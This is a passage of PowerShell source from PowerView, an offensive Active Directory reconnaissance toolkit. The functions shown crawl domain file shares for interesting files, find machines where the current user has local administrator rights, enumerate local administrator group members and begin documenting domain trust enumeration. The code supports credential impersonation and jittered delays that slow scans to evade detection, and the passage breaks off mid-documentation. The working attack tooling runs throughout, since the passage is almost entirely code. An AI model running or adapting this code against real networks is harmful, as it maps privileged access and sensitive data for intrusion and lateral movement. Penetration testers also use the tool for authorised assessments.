Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)"
|
|
if ($TargetComputers.Length -eq 0) {
|
|
throw '[Find-InterestingDomainShareFile] No hosts found to enumerate'
|
|
}
|
|
|
|
# the host enumeration block we're using to enumerate all servers
|
|
$HostEnumBlock = {
|
|
Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle)
|
|
|
|
if ($TokenHandle) {
|
|
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
|
|
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
|
|
}
|
|
|
|
ForEach ($TargetComputer in $ComputerName) {
|
|
|
|
$SearchShares = @()
|
|
if ($TargetComputer.StartsWith('\\')) {
|
|
# if a share is passed as the server
|
|
$SearchShares += $TargetComputer
|
|
}
|
|
else {
|
|
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
|
|
if ($Up) {
|
|
# get the shares for this host and display what we find
|
|
$Shares = Get-NetShare -ComputerName $TargetComputer
|
|
ForEach ($Share in $Shares) {
|
|
$ShareName = $Share.Name
|
|
$Path = '\\'+$TargetComputer+'\'+$ShareName
|
|
# make sure we get a real share name back
|
|
if (($ShareName) -and ($ShareName.Trim() -ne '')) {
|
|
# skip this share if it's in the exclude list
|
|
if ($ExcludedShares -NotContains $ShareName) {
|
|
# check if the user has access to this path
|
|
try {
|
|
$Null = [IO.Directory]::GetFiles($Path)
|
|
$SearchShares += $Path
|
|
}
|
|
catch {
|
|
Write-Verbose "[!] No access to $Path"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
ForEach ($Share in $SearchShares) {
|
|
Write-Verbose "Searching share: $Share"
|
|
$SearchArgs = @{
|
|
'Path' = $Share
|
|
'Include' = $Include
|
|
}
|
|
if ($OfficeDocs) {
|
|
$SearchArgs['OfficeDocs'] = $OfficeDocs
|
|
}
|
|
if ($FreshEXEs) {
|
|
$SearchArgs['FreshEXEs'] = $FreshEXEs
|
|
}
|
|
if ($LastAccessTime) {
|
|
$SearchArgs['LastAccessTime'] = $LastAccessTime
|
|
}
|
|
if ($LastWriteTime) {
|
|
$SearchArgs['LastWriteTime'] = $LastWriteTime
|
|
}
|
|
if ($CreationTime) {
|
|
$SearchArgs['CreationTime'] = $CreationTime
|
|
}
|
|
if ($CheckWriteAccess) {
|
|
$SearchArgs['CheckWriteAccess'] = $CheckWriteAccess
|
|
}
|
|
Find-InterestingFile @SearchArgs
|
|
}
|
|
}
|
|
|
|
if ($TokenHandle) {
|
|
Invoke-RevertToSelf
|
|
}
|
|
}
|
|
|
|
$LogonToken = $Null
|
|
if ($PSBoundParameters['Credential']) {
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
else {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
# only ignore threading if -Delay is passed
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
|
|
Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)"
|
|
Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter"
|
|
$Counter = 0
|
|
$RandNo = New-Object System.Random
|
|
|
|
ForEach ($TargetComputer in $TargetComputers) {
|
|
$Counter = $Counter + 1
|
|
|
|
# sleep for our semi-randomized interval
|
|
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
|
|
|
Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
|
|
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads"
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction
|
|
$ScriptParams = @{
|
|
'Include' = $Include
|
|
'ExcludedShares' = $ExcludedShares
|
|
'OfficeDocs' = $OfficeDocs
|
|
'ExcludeHidden' = $ExcludeHidden
|
|
'FreshEXEs' = $FreshEXEs
|
|
'CheckWriteAccess' = $CheckWriteAccess
|
|
'TokenHandle' = $LogonToken
|
|
}
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
|
|
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-LocalAdminAccess {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds machines on the local domain where the current user has local administrator access.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction
|
|
|
|
.DESCRIPTION
|
|
|
|
This function enumerates all machines on the current (or specified) domain
|
|
using Get-DomainComputer, and for each computer it checks if the current user
|
|
has local administrator access using Test-AdminAccess. If -Credential is passed,
|
|
then Invoke-UserImpersonation is used to impersonate the specified user
|
|
before enumeration, reverting after with Invoke-RevertToSelf.
|
|
|
|
Idea adapted from the local_admin_search_enum post module in Metasploit written by:
|
|
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
|
|
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
|
|
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
|
|
If -ComputerName is not passed, the default behavior is to enumerate all machines
|
|
in the domain returned by Get-DomainComputer.
|
|
|
|
.PARAMETER ComputerDomain
|
|
|
|
Specifies the domain to query for computers, defaults to the current domain.
|
|
|
|
.PARAMETER ComputerLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for computer objects.
|
|
|
|
.PARAMETER ComputerSearchBase
|
|
|
|
Specifies the LDAP source to search through for computers,
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER ComputerOperatingSystem
|
|
|
|
Search computers with a specific operating system, wildcards accepted.
|
|
|
|
.PARAMETER ComputerServicePack
|
|
|
|
Search computers with a specific service pack, wildcards accepted.
|
|
|
|
.PARAMETER ComputerSiteName
|
|
|
|
Search computers in the specific AD Site name, wildcards accepted.
|
|
|
|
.PARAMETER CheckShareAccess
|
|
|
|
Switch. Only display found shares that the local user has access to.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain and target systems.
|
|
|
|
.PARAMETER Delay
|
|
|
|
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
|
|
|
|
.PARAMETER Jitter
|
|
|
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
|
|
|
.PARAMETER Threads
|
|
|
|
The number of threads to use for user searching, defaults to 20.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-LocalAdminAccess
|
|
|
|
Finds machines in the current domain the current user has admin access to.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-LocalAdminAccess -Domain dev.testlab.local
|
|
|
|
Finds machines in the dev.testlab.local domain the current user has admin access to.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Find-LocalAdminAccess -Domain testlab.local -Credential $Cred
|
|
|
|
Finds machines in the testlab.local domain that the user with the specified -Credential
|
|
has admin access to.
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
|
|
Computer dnshostnames the current user has administrative access to.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DNSHostName')]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerSearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('OperatingSystem')]
|
|
[String]
|
|
$ComputerOperatingSystem,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ServicePack')]
|
|
[String]
|
|
$ComputerServicePack,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('SiteName')]
|
|
[String]
|
|
$ComputerSiteName,
|
|
|
|
[Switch]
|
|
$CheckShareAccess,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$Delay = 0,
|
|
|
|
[ValidateRange(0.0, 1.0)]
|
|
[Double]
|
|
$Jitter = .3,
|
|
|
|
[Int]
|
|
[ValidateRange(1, 100)]
|
|
$Threads = 20
|
|
)
|
|
|
|
BEGIN {
|
|
$ComputerSearcherArguments = @{
|
|
'Properties' = 'dnshostname'
|
|
}
|
|
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
|
|
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
|
|
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
|
|
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
|
|
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
|
|
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
|
|
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
|
|
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
|
|
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
$TargetComputers = $ComputerName
|
|
}
|
|
else {
|
|
Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain'
|
|
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)"
|
|
if ($TargetComputers.Length -eq 0) {
|
|
throw '[Find-LocalAdminAccess] No hosts found to enumerate'
|
|
}
|
|
|
|
# the host enumeration block we're using to enumerate all servers
|
|
$HostEnumBlock = {
|
|
Param($ComputerName, $TokenHandle)
|
|
|
|
if ($TokenHandle) {
|
|
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
|
|
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
|
|
}
|
|
|
|
ForEach ($TargetComputer in $ComputerName) {
|
|
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
|
|
if ($Up) {
|
|
# check if the current user has local admin access to this server
|
|
$Access = Test-AdminAccess -ComputerName $TargetComputer
|
|
if ($Access.IsAdmin) {
|
|
$TargetComputer
|
|
}
|
|
}
|
|
}
|
|
|
|
if ($TokenHandle) {
|
|
Invoke-RevertToSelf
|
|
}
|
|
}
|
|
|
|
$LogonToken = $Null
|
|
if ($PSBoundParameters['Credential']) {
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
else {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
# only ignore threading if -Delay is passed
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
|
|
Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)"
|
|
Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter"
|
|
$Counter = 0
|
|
$RandNo = New-Object System.Random
|
|
|
|
ForEach ($TargetComputer in $TargetComputers) {
|
|
$Counter = $Counter + 1
|
|
|
|
# sleep for our semi-randomized interval
|
|
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
|
|
|
Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
|
|
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads"
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction
|
|
$ScriptParams = @{
|
|
'TokenHandle' = $LogonToken
|
|
}
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
|
|
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-DomainLocalGroupMember {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates the members of specified local group (default administrators)
|
|
for all the targeted machines on the current (or specified) domain.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction
|
|
|
|
.DESCRIPTION
|
|
|
|
This function enumerates all machines on the current (or specified) domain
|
|
using Get-DomainComputer, and enumerates the members of the specified local
|
|
group (default of Administrators) for each machine using Get-NetLocalGroupMember.
|
|
By default, the API method is used, but this can be modified with '-Method winnt'
|
|
to use the WinNT service provider.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
|
|
If -ComputerName is not passed, the default behavior is to enumerate all machines
|
|
in the domain returned by Get-DomainComputer.
|
|
|
|
.PARAMETER ComputerDomain
|
|
|
|
Specifies the domain to query for computers, defaults to the current domain.
|
|
|
|
.PARAMETER ComputerLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for computer objects.
|
|
|
|
.PARAMETER ComputerSearchBase
|
|
|
|
Specifies the LDAP source to search through for computers,
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER ComputerOperatingSystem
|
|
|
|
Search computers with a specific operating system, wildcards accepted.
|
|
|
|
.PARAMETER ComputerServicePack
|
|
|
|
Search computers with a specific service pack, wildcards accepted.
|
|
|
|
.PARAMETER ComputerSiteName
|
|
|
|
Search computers in the specific AD Site name, wildcards accepted.
|
|
|
|
.PARAMETER GroupName
|
|
|
|
The local group name to query for users. If not given, it defaults to "Administrators".
|
|
|
|
.PARAMETER Method
|
|
|
|
The collection method to use, defaults to 'API', also accepts 'WinNT'.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain and target systems.
|
|
|
|
.PARAMETER Delay
|
|
|
|
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
|
|
|
|
.PARAMETER Jitter
|
|
|
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
|
|
|
.PARAMETER Threads
|
|
|
|
The number of threads to use for user searching, defaults to 20.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainLocalGroupMember
|
|
|
|
Enumerates the local group memberships for all reachable machines in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainLocalGroupMember -Domain dev.testlab.local
|
|
|
|
Enumerates the local group memberships for all reachable machines the dev.testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred
|
|
|
|
Enumerates the local group memberships for all reachable machines the dev.testlab.local
|
|
domain using the alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.LocalGroupMember.API
|
|
|
|
Custom PSObject with translated group property fields from API results.
|
|
|
|
PowerView.LocalGroupMember.WinNT
|
|
|
|
Custom PSObject with translated group property fields from WinNT results.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.LocalGroupMember.API')]
|
|
[OutputType('PowerView.LocalGroupMember.WinNT')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DNSHostName')]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerSearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('OperatingSystem')]
|
|
[String]
|
|
$ComputerOperatingSystem,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ServicePack')]
|
|
[String]
|
|
$ComputerServicePack,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('SiteName')]
|
|
[String]
|
|
$ComputerSiteName,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$GroupName = 'Administrators',
|
|
|
|
[ValidateSet('API', 'WinNT')]
|
|
[Alias('CollectionMethod')]
|
|
[String]
|
|
$Method = 'API',
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$Delay = 0,
|
|
|
|
[ValidateRange(0.0, 1.0)]
|
|
[Double]
|
|
$Jitter = .3,
|
|
|
|
[Int]
|
|
[ValidateRange(1, 100)]
|
|
$Threads = 20
|
|
)
|
|
|
|
BEGIN {
|
|
$ComputerSearcherArguments = @{
|
|
'Properties' = 'dnshostname'
|
|
}
|
|
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
|
|
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
|
|
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
|
|
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
|
|
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
|
|
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
|
|
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
|
|
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
|
|
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
$TargetComputers = $ComputerName
|
|
}
|
|
else {
|
|
Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain'
|
|
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)"
|
|
if ($TargetComputers.Length -eq 0) {
|
|
throw '[Find-DomainLocalGroupMember] No hosts found to enumerate'
|
|
}
|
|
|
|
# the host enumeration block we're using to enumerate all servers
|
|
$HostEnumBlock = {
|
|
Param($ComputerName, $GroupName, $Method, $TokenHandle)
|
|
|
|
# Add check if user defaults to/selects "Administrators"
|
|
if ($GroupName -eq "Administrators") {
|
|
$AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null)
|
|
$GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1]
|
|
}
|
|
|
|
if ($TokenHandle) {
|
|
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
|
|
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
|
|
}
|
|
|
|
ForEach ($TargetComputer in $ComputerName) {
|
|
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
|
|
if ($Up) {
|
|
$NetLocalGroupMemberArguments = @{
|
|
'ComputerName' = $TargetComputer
|
|
'Method' = $Method
|
|
'GroupName' = $GroupName
|
|
}
|
|
Get-NetLocalGroupMember @NetLocalGroupMemberArguments
|
|
}
|
|
}
|
|
|
|
if ($TokenHandle) {
|
|
Invoke-RevertToSelf
|
|
}
|
|
}
|
|
|
|
$LogonToken = $Null
|
|
if ($PSBoundParameters['Credential']) {
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
else {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
# only ignore threading if -Delay is passed
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
|
|
Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)"
|
|
Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter"
|
|
$Counter = 0
|
|
$RandNo = New-Object System.Random
|
|
|
|
ForEach ($TargetComputer in $TargetComputers) {
|
|
$Counter = $Counter + 1
|
|
|
|
# sleep for our semi-randomized interval
|
|
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
|
|
|
Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
|
|
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads"
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction
|
|
$ScriptParams = @{
|
|
'GroupName' = $GroupName
|
|
'Method' = $Method
|
|
'TokenHandle' = $LogonToken
|
|
}
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
|
|
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
########################################################
|
|
#
|
|
# Domain trust functions below.
|
|
#
|
|
########################################################
|
|
|
|
function Get-DomainTrust {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all domain trusts for the current domain or a specified domain.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will enumerate domain trust relationships for the current (or a remote)
|
|
domain using a number of methods. By default, and LDAP search using the filter
|
|
'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified
|
|
LDAP is used as well. If the -NET flag is specified, the .NET method
|
|
GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain
|
|
object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is
|
|
used to enumerate instead.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to query for trusts, defaults to the current domain.
|
|
|
|
.PARAMETER API
|
|
|
|
Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in
|
|
.NET methods.
|
|
|
|
.PARAMETER NET
|
|
|
|
Switch. Use .NET queries to enumerate trusts instead of the default LDAP method.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
